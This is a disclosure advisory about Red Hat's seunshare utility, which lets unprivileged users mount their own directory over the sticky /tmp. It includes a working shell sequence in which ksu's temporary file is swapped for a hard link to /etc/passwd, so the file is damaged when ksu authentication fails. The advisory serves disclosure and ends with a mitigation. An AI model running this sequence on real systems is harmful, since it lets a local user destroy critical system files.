Red Hat Enterprise Linux seunshare Unsafe Implementation

`Developers should not rely on the stickiness of /tmp on Red Hat Linux  
---------------------------------------------------------------------  
  
Recent versions of Red Hat Enterprise Linux and Fedora provide seunshare, a  
setuid root utility from policycore-utils intended to make new filesystem  
namespaces available to unprivileged processes for the purpose of sandboxing.  
  
The intention is to permit unprivileged users to mount a new temporary  
directory on /home and /tmp for sandboxed processes, thus preventing  
access to the contents of the original directories in the event of a  
compromise.  
  
One unintended side effect of making these features available to unprivileged  
processes is that users can now change how setuid applications perceive /tmp  
and /home.  
  
The purpose of this advisory is to inform developers and system administrators  
of affected systems that unprivileged users can effectively remove the  
sticky-bit from the system /tmp directory, and thus relying on the stickiness  
of /tmp on redhat systems is no longer safe.  
  
This advisory is intended for system administrators and developers of  
Red Hat Linux systems; journalists, end users and other non-technical  
readers do not need to be concerned.  
  
--------------------  
Affected Software  
------------------------  
  
All known versions of policycore-utils are affected.  
  
I discussed the potentially dangerous implications of introducing this change  
with Red Hat Security in September 2010, but FC14 and RHEL6 still exhibit this  
behaviour post-launch.  
  
--------------------  
Consequences  
-----------------------  
  
A simple example of a common application that is now unsafe is ksu, from the  
krb5 distribution. ksu creates a temporary file in /tmp, then clears it on  
authentication failure.  
  
This is normally a safe operation, as /tmp is protected by the sticky bit.  
  
However, we can use seunshare to interfere with this process.  
  
# create a new directory that we control  
$ mkdir /tmp/seunshare  
  
# use seunshare to mount it on /tmp and /home and run our setuid root binary  
$ seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root &>/dev/null &  
[1]+ Stopped seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root  
  
# we can examine the mounts visible to the process using the /proc interface  
$ grep /tmp /proc/$(pidof ksu)/mountinfo  
66 64 1:1 /tmp/seunshare /tmp  
  
# here is the temporary file created by ksu during authentication  
$ ls -l /tmp/seunshare/  
total 4.0K  
-rw-------. 1 root taviso 35 Feb 18 23:21 krb5cc_0.1  
  
# as we own the directory, and the sticky-bit is not set, we are permitted to  
# unlink files   
$ rm -f /tmp/seunshare/krb5cc_0.1  
  
# now we can replace the file with a link  
$ ln /etc/passwd /tmp/seunshare/krb5cc_0.1  
  
# make ksu authentication fail.  
$ fg  
seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root  
  
And /etc/passwd was damaged, thus breaking the system.  
  
-------------------  
Credit  
-----------------------  
  
This bug was discovered by Tavis Ormandy.  
  
-------------------  
Greetz  
-----------------------  
  
Thanks to Kees, Hawkes, Dan and Julien for their help. Greetz to everyone in  
$1$kk1q85Xp$Id.gAcJOg7uelf36VQwJQ/, and all my other elite friends and colleagues.  
  
-------------------  
Notes  
-----------------------  
  
Although only an example of damaging a system has been provided, it's  
reasonable to assume that various applications rely on the stickiness of  
/tmp to prevent code execution.  
  
Administrators are advised to remove the setuid bit from seunshare, or  
restrict access to it.  
  
-------------------  
References  
-----------------------  
  
None.  
  
--   
-------------------------------------  
[email protected] | pgp encrypted mail preferred  
-------------------------------------------------------  
  
`